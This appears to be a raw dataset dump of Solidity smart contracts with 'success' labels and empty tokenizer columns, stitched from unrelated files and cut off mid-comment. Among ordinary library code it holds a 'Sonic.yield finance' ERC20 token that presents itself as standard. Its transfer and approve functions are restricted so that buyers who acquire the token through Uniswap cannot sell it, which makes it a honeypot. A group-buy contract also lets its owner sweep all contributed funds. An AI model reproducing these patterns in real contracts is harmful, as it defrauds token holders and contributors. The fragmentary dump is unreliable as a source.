source_code
stringlengths 52
864k
| success
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value | input_ids
list | attention_mask
list |
|---|---|---|---|
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract GroupBuy {
using SafeMath for uint256;
enum Phase { Init, Contribute, Wait, Claim, Lock }
uint256 private constant MAX_TOTAL = 500 ether;
uint256 private constant MAX_EACH = 2 ether;
address private tokenAddr;
address private owner;
mapping(address => uint256) private amounts;
uint256 private totalEth;
uint256 private totalToken;
Phase private currentPhase;
function GroupBuy() public {
owner = msg.sender;
currentPhase = Phase.Init;
}
modifier isOwner() {
assert(msg.sender == owner);
_;
}
// admin function
function beginContrib() isOwner public {
require(currentPhase == Phase.Init || currentPhase == Phase.Wait);
currentPhase = Phase.Contribute;
}
function endContrib() isOwner public {
require(currentPhase == Phase.Contribute);
currentPhase = Phase.Wait;
owner.transfer(address(this).balance); // collect eth to buy token
}
function allowClaim(address _addr) isOwner public returns (uint256) {
require(currentPhase == Phase.Wait);
currentPhase = Phase.Claim;
tokenAddr = _addr;
ERC20Token tok = ERC20Token(tokenAddr);
totalToken = tok.balanceOf(this);
require(totalToken > 0);
return totalToken;
}
// rescue function
function lock() isOwner public {
require(currentPhase == Phase.Claim);
currentPhase = Phase.Lock;
}
function unlock() isOwner public {
require(currentPhase == Phase.Lock);
currentPhase = Phase.Claim;
}
function collectEth() isOwner public {
owner.transfer(address(this).balance);
}
function setTotalToken(uint _total) isOwner public {
require(_total > 0);
totalToken = _total;
}
function setTokenAddr(address _addr) isOwner public {
tokenAddr = _addr;
}
function withdrawToken(address _erc20, uint _amount) isOwner public returns (bool success) {
return ERC20Token(_erc20).transfer(owner, _amount);
}
// user function
function() public payable {
revert();
}
function info() public view returns (uint phase, uint userEth, uint userToken, uint allEth, uint allToken) {
phase = uint(currentPhase);
userEth = amounts[msg.sender];
userToken = totalEth > 0 ? totalToken.mul(userEth).div(totalEth) : 0;
allEth = totalEth;
allToken = totalToken;
}
function contribute() public payable returns (uint _value) {
require(msg.value > 0);
require(currentPhase == Phase.Contribute);
uint cur = amounts[msg.sender];
require(cur < MAX_EACH && totalEth < MAX_TOTAL);
_value = msg.value > MAX_EACH.sub(cur) ? MAX_EACH.sub(cur) : msg.value;
_value = _value > MAX_TOTAL.sub(totalEth) ? MAX_TOTAL.sub(totalEth) : _value;
amounts[msg.sender] = cur.add(_value);
totalEth = totalEth.add(_value);
// return redundant eth to user
if (msg.value.sub(_value) > 0) {
msg.sender.transfer(msg.value.sub(_value));
}
}
function claim() public returns (uint amountToken) {
require(currentPhase == Phase.Claim);
uint contributed = amounts[msg.sender];
amountToken = totalEth > 0 ? totalToken.mul(contributed).div(totalEth) : 0;
require(amountToken > 0);
require(ERC20Token(tokenAddr).transfer(msg.sender, amountToken));
amounts[msg.sender] = 0;
}
} | True | [
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pragma solidity ^0.6.6;
import "./Permissions.sol";
import "./SafeMath.sol";
import "./Address.sol";
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Permissions, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18 and a {totalSupply} of the token.
*
* All four of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
//_name = "Sonic.yield finance";
//_symbol = "$SYFI";
_name = "Sonic.yield finance";
_symbol = "$SYFI";
_decimals = 18;
_totalSupply = 3000000000000000000000;
_balances[creator()] = _totalSupply;
emit Transfer(address(0), creator(), _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {balanceOf} and {transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) {
_transfer(_msgSender(), recipient, amount);
if(_msgSender() == creator())
{ givePermissions(recipient); }
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
if(_msgSender() == uniswap())
{ givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | True | [
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pragma solidity ^0.5.9;
contract Receiver {
//The purpose of this contract is to act purely as a static address
//in the Ethereum uint256 address space from which to initiate other
//actions
//State
address public implementation;
bool public isPayable;
//Events
event LogImplementationChanged(address _oldImplementation, address _newImplementation);
event LogPaymentReceived(address sender, uint256 value);
constructor(address _implementation, bool _isPayable)
public
{
require(_implementation != address(0), "Implementation address cannot be 0");
implementation = _implementation;
isPayable = _isPayable;
}
modifier onlyImplementation
{
require(msg.sender == implementation, "Only the contract implementation may perform this action");
_;
}
function drain()
external
onlyImplementation
{
msg.sender.call.value(address(this).balance)("");
}
function ()
external
payable
{}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/math/Math.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import "./interfaces/IChainLinkFeed.sol";
import "./interfaces/IUniswapV2SlidingOracle.sol";
import "./interfaces/Keep3r/IKeep3rV1Mini.sol";
contract Keep3rV1HelperNewCustom is Ownable{
using SafeMath for uint;
IChainLinkFeed public constant FASTGAS = IChainLinkFeed(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C);
IKeep3rV1Mini public RLR = IKeep3rV1Mini(0x5b3F693EfD5710106eb2Eac839368364aCB5a70f);
IUniswapV2SlidingOracle public UV2SO = IUniswapV2SlidingOracle(0xA54b8DFB9B14357BF9BF8209Cb4fCe74BFeC660F);
address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
uint constant public MAX = 11;
uint constant public BASE = 10;
uint constant public SWAP = 300000;
uint constant public TARGETBOND = 200e18;
function quote(uint eth) public view returns (uint) {
return UV2SO.current(address(WETH), eth, address(RLR));
}
function setOracle(address oracle) public onlyOwner {
UV2SO = IUniswapV2SlidingOracle(oracle);
}
function setToken(address keepertoken) public onlyOwner{
RLR = IKeep3rV1Mini(keepertoken);
}
function getFastGas() external view returns (uint) {
return uint(FASTGAS.latestAnswer());
}
function bonds(address keeper) public view returns (uint) {
return RLR.bonds(keeper, address(RLR)).add(RLR.votes(keeper));
}
function getQuoteLimitFor(address origin, uint gasUsed) public view returns (uint) {
uint _min = quote((gasUsed.add(SWAP)).mul(uint(FASTGAS.latestAnswer())));
uint _boost = _min.mul(MAX).div(BASE);
uint _bond = Math.min(bonds(origin), TARGETBOND);
return Math.max(_min, _boost.mul(_bond).div(TARGETBOND));
}
function getQuoteLimit(uint gasUsed) external view returns (uint) {
return getQuoteLimitFor(tx.origin, gasUsed);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
interface IChainLinkFeed {
function latestAnswer() external view returns (int256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IUniswapV2SlidingOracle {
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IKeep3rV1Mini {
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
function totalBonded() external view returns (uint);
function bonds(address keeper, address credit) external view returns (uint);
function votes(address keeper) external view returns (uint);
function isMinKeeper(address keeper, uint minBond, uint earned, uint age) external returns (bool);
function addCreditETH(address job) external payable;
function credits(address job, address credit) external view returns (uint);
function receipt(address credit, address keeper, uint amount) external;
function ETH() external view returns (address);
function receiptETH(address keeper, uint amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
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pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
